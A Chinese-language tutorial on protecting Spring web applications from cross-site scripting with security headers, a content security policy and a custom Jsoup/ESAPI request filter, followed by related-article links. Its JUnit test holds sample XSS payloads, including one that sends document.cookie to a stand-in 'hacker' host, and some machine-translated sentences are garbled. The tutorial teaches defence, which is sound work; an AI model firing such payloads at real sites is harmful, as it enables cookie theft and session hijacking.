在Spring應用程序中防止跨站點腳本(XSS)

    1.概述

    在構建Spring Web應用程序時,重點放在安全性上很重要。跨站點腳本(XSS)是對Web安全性最關鍵的攻擊之一。

    在Spring應用程序中,防止XSS攻擊是一項挑戰。 Spring提供了一些幫助,但是我們需要實現額外的代碼以提供完整的保護。

    在本教程中,我們將使用可用的Spring Security功能,並添加自己的XSS過濾器。

    2.什麼是跨站點腳本(XSS)攻擊?

    2.1。問題的定義

    XSS是常見的注入攻擊類型。在XSS中,攻擊者嘗試在Web應用程序中執行惡意代碼。他們通過Web瀏覽器或諸如Postman之類的HTTP客戶端工具與之交互。

    XSS攻擊有兩種類型:

    • 反射或非持久XSS
    • 存儲或持久XSS

    在Reflected或Nonpersistent XSS中,不可信的用戶數據被提交到Web應用程序,該Web應用程序將立即在響應中返回,從而將不可信的內容添加到頁面中。 Web瀏覽器假定代碼來自Web服務器並執行它。這可能會使黑客向您發送一個鏈接,該鏈接在被跟踪時會導致您的瀏覽器從您使用的站點檢索您的私人數據,然後使您的瀏覽器將其轉發到黑客的服務器。

    在“存儲的或持久的XSS”中,攻擊者的輸入由Web服務器存儲。隨後,任何將來的訪問者都可以執行該惡意代碼。

    2.2。防禦攻擊

    防止XSS攻擊的主要策略是清除用戶輸入。

    在Spring Web應用程序中,用戶的輸入是HTTP請求。為了防止攻擊,我們應該檢查HTTP請求的內容,並刪除服務器或瀏覽器中可能執行的所有內容。

    對於通過Web瀏覽器訪問的常規Web應用程序,我們可以使用Spring Security的內置功能(Reflected XSS)。對於公開API的Web應用程序,Spring Security不提供任何功能,我們必須實現自定義XSS過濾器以防止存儲XSS。

    3.使用Spring Security使應用程序XSS安全

    Spring Security默認提供幾個安全頭。它包括X-XSS-Protection標頭。 X-XSS-Protection告訴瀏覽器阻止看起來像XSS的東西。 Spring Security可以自動將此安全標頭添加到響應中。為了激活它,我們在Spring Security配置類中配置XSS支持。

    使用此功能,瀏覽器在檢測到XSS嘗試時不會呈現。但是,某些Web瀏覽器尚未實現XSS審核器。在這種情況下,它們不使用X-XSS-Protection標頭.為了解決此問題,我們還可以使用內容安全策略(CSP)功能。

    CSP是安全性的附加層,有助於緩解XSS和數據注入攻擊。要啟用它,我們需要通過提供WebSecurityConfigurerAdapter bean Content-Security-Policy

    @Configuration
    
     public class SecurityConf extends WebSecurityConfigurerAdapter {
    
    
    
     @Override
    
     protected void configure(HttpSecurity http) throws Exception {
    
     http
    
     .headers()
    
     .xssProtection()
    
     .and()
    
     .contentSecurityPolicy("script-src 'self'");
    
     }
    
     }

    這些標頭確實可以保護REST API免受存儲的XSS的侵害。為了解決這個問題,我們可能還需要實現一個XSS過濾器。

    4.創建一個XSS過濾器

    4.1。使用XSS過濾器

    為了防止XSS攻擊,我們將在將請求傳遞給RestController之前從請求內容中刪除所有可疑字符串:

    在Spring應用程序中防止跨站點腳本(XSS)

    HTTP請求內容包括以下部分:

    • 請求header
    • 參數Parameters
    • 請求Body

    通常,對於每個請求,我們都應從標頭,參數和主體中刪除惡意代碼。

    我們將創建一個用於評估請求值的過濾器。 XSS篩選器檢查請求的參數,標頭和正文。

    讓我們通過實現Filter接口來創建XSS過濾器:

    @Component
    
     @Order(Ordered.HIGHEST_PRECEDENCE)
    
     public class XSSFilter implements Filter {
    
    
    
     @Override
    
     public void doFilter(ServletRequest request, ServletResponse response,
    
     FilterChain chain) throws IOException, ServletException {
    
     XSSRequestWrapper wrappedRequest =
    
     new XSSRequestWrapper((HttpServletRequest) request);
    
     chain.doFilter(wrappedRequest, response);
    
     }
    
    
    
     // other methods
    
     }

    我們應該將XSS過濾器配置為Spring應用程序中的第一個過濾器。因此,我們將過濾器的順序設置為HIGHEST_PRECEDENCE

    為了向請求添加數據清理,我們將創建一個名為XSSRequestWrapper, HttpServletRequestWrapper子類,該子類將覆蓋getParameterValuesgetParametergetHeaders方法,以在向控制器提供數據之前執行XSS檢查。

    4.2。從請求參數中剝離XSS

    現在,讓我們在請求包裝器中getParameterValuesgetParameter

    public class XSSRequestWrapper extends HttpServletRequestWrapper {
    
    
    
     @Override
    
     public String[] getParameterValues(String parameter) {
    
     String[] values = super.getParameterValues(parameter);
    
     if (values == null) {
    
     return null;
    
     }
    
     int count = values.length;
    
     String[] encodedValues = new String[count];
    
     for (int i = 0; i < count; i++) {
    
     encodedValues[i] = stripXSS(values[i]);
    
     }
    
     return encodedValues;
    
     }
    
     @Override
    
     public String getParameter(String parameter) {
    
     String value = super.getParameter(parameter);
    
     return stripXSS(value);
    
     }
    
     }

    我們將編寫一個stripXSS函數來處理每個值。我們將盡快實施。

    4.3。從請求標頭中剝離XSS

    我們還需要從請求標頭中剝離XSS。當getHeaders返回一個Enumeration我們將需要生成一個新列表,以清理每個標頭:

    @Override
    
     public Enumeration getHeaders(String name) {
    
     List result = new ArrayList<>();
    
     Enumeration headers = super.getHeaders(name);
    
     while (headers.hasMoreElements()) {
    
     String header = headers.nextElement();
    
     String[] tokens = header.split(",");
    
     for (String token : tokens) {
    
     result.add(stripXSS(token));
    
     }
    
     }
    
     return Collections.enumeration(result);
    
     }

    4.4。從請求主體中剝離XSS

    我們的過濾器需要從請求正文中刪除危險內容。由於我們已經具有可wrappedRequest InputStream的wrappedRequest,因此讓我們擴展代碼以處理主體,並在清除它後InputStream

    @Override
    
     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    
     throws IOException, ServletException {
    
     XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request);
    
     String body = IOUtils.toString(wrappedRequest.getReader());
    
     if (!StringUtils.isBlank(body)) {
    
     body = XSSUtils.stripXSS(body);
    
     wrappedRequest.resetInputStream(body.getBytes());
    
     }
    
     chain.doFilter(wrappedRequest, response);
    
     }
    

    5.使用外部庫進行數據清理

    現在,所有讀取請求的代碼stripXSS在用戶提供的任何內容上執行stripXSS函數。現在讓我們創建執行XSS檢查的功能。

    首先,此方法將獲取請求的值並將其規範化。對於這一步,我們使用ESAPI 。 ESAPI是可從OWASP獲得的開源Web應用程序安全控制庫。

    其次,我們將根據XSS模式檢查請求的值。如果該值可疑,它將被設置為一個空字符串。為此,我們將使用Jsoup,它提供了一些簡單的清理功能。如果我們想要更多的控制,我們可以構建自己的正則表達式,但這可能比使用庫更容易出錯。

    5.1 依賴關係

    首先,我們將esapi maven依賴項添加到我們的pom.xml文件中:

    <dependency>
    
     <groupId>org.owasp.esapi</groupId>
    
     <artifactId>esapi</artifactId>
    
     <version>2.2.2.0</version>
    
     </dependency>

    另外,我們需要jsoup

    <dependency>
    
     <groupId>org.jsoup</groupId>
    
     <artifactId>jsoup</artifactId>
    
     <version>1.13.1</version>
    
     </dependency>

    5.2 代碼實現

    現在,讓我們創建stripXSS方法:

    public static String stripXSS(String value) {
    
     if (value == null) {
    
     return null;
    
     }
    
     value = ESAPI.encoder()
    
     .canonicalize(value)
    
     .replaceAll("\0", "");
    
     return Jsoup.clean(value, Whitelist.none());
    
     }

    在這裡,我們將Jsoup Whitelist設置為none ,僅允許文本節點。這樣,所有HTML都將被剝離。

    6.測試XSS預防

    6.1。手動測試

    現在,讓我們使用Postman向我們的應用程序發送可疑請求。我們將向URI /personService/person發送POST消息。另外,我們將包含一些可疑的標頭和參數。

    下圖顯示了請求標頭和參數:

    在Spring應用程序中防止跨站點腳本(XSS)

    當我們的服務接受JSON數據時,讓我們向請求正文中添加一些可疑的JSON內容:

    在Spring應用程序中防止跨站點腳本(XSS)

    當我們的測試服務器返回清除的響應時,讓我們檢查發生了什麼:

    在Spring應用程序中防止跨站點腳本(XSS)

    標頭和參數值將替換為空字符串。此外,響應主體顯示我們在lastName字段中的可疑值已被刪除。

    6.2。自動化測試

    現在讓我們為XSS過濾編寫一個自動化測試:

    // declare required variables
    
     personJsonObject.put("id", 1);
    
     personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>");
    
     personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>");
    
    
    
     builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl)
    
     .queryParam("param", "<script>");
    
    
    
     headers.add("header_1", "<body onload=alert('XSS')>");
    
     headers.add("header_2", "<span onmousemove='doBadXss()'>");
    
     headers.add("header_3", "<SCRIPT>var+img=new+Image();"
    
     + "img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>");
    
     headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'");
    
     HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers);
    
    
    
     ResponseEntity<String> personResultAsJsonStr = restTemplate
    
     .exchange(builder.toUriString(), HttpMethod.POST, request, String.class);
    
     JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody());
    
    
    
     assertThat(root.get("firstName").textValue()).isEqualTo("baeldung ");
    
     assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!");
    
     assertThat(root.get("param").textValue()).isEmpty();
    
     assertThat(root.get("header_1").textValue()).isEmpty();
    
     assertThat(root.get("header_2").textValue()).isEmpty();
    
     assertThat(root.get("header_3").textValue()).isEmpty();
    
     assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");

    7.結論

    在本文中,我們了解瞭如何通過同時使用Spring Security功能和自定義XSS過濾器來防止XSS攻擊。

    我們看到了它如何保護我們免受反射性XSS攻擊和持續性XSS攻擊。我們還研究瞭如何使用Postman和JUnit測試來測試應用程序。

    相關推薦
    7個雲計算中的隱私挑戰

    雲的快速發展帶來了更多的靈活性,成本削減和產品可擴展性,但同時也面臨著巨大的隱私和安全挑戰。由於它是一個相對較新的概念,並且每天都在發展,因此存在一些未發現的安全問題,這些問題不斷蔓延,需要一經發現就應立即加以解決。在這裡,我們討論了雲計算中遇到的七大隱私挑戰:

    2020年11月8日閱讀 113

    企業網絡安全工具的10種主要類型

    企業安全性是一組技術,方法和策略,可幫助保護組織免受攻擊和任何其他未經授權的訪問。有很多方法可以使用高級工具和軟件應用程序檢測入侵和對手,這些工具可以全面檢查已安裝的網絡和應用程序。讓我們詳細了解企業安全軟件的主要類型:

    2020年11月30日閱讀 138

    使用Spring Boot和Swagger UI設置JWT

    了解如何根據對在Spring Boot中運行的Swagger UI的請求設置JSON Web令牌。

    2021年1月17日閱讀 145

    用Discord4J + Spring Boot創建一個Discord Bot

    探索使用Discord4J庫和Spring Boot創建Discord機器人的所有必要步驟

    2021年3月8日閱讀 151

    面向初學者的6大網絡安全項目創意

    我們已經研究了網絡安全中最適合初學者的6個項目,這些項目將幫助您了解一些關鍵概念,例如密碼,身份驗證算法,加密,解密,聯網等。這些項目也可以擴展到功能齊全的Web應用程序和軟件中,並在很大程度上增強簡歷的吸引力。

    2021年3月22日閱讀 93

    如何在Apache HttpClient中設置TLS版本

    在本文中,我們研究了使用Apache HttpClient庫時配置受支持的TLS版本的三種不同方式。我們已經了解瞭如何為所有連接或基於每個連接設置TLS版本。

    2021年3月24日閱讀 208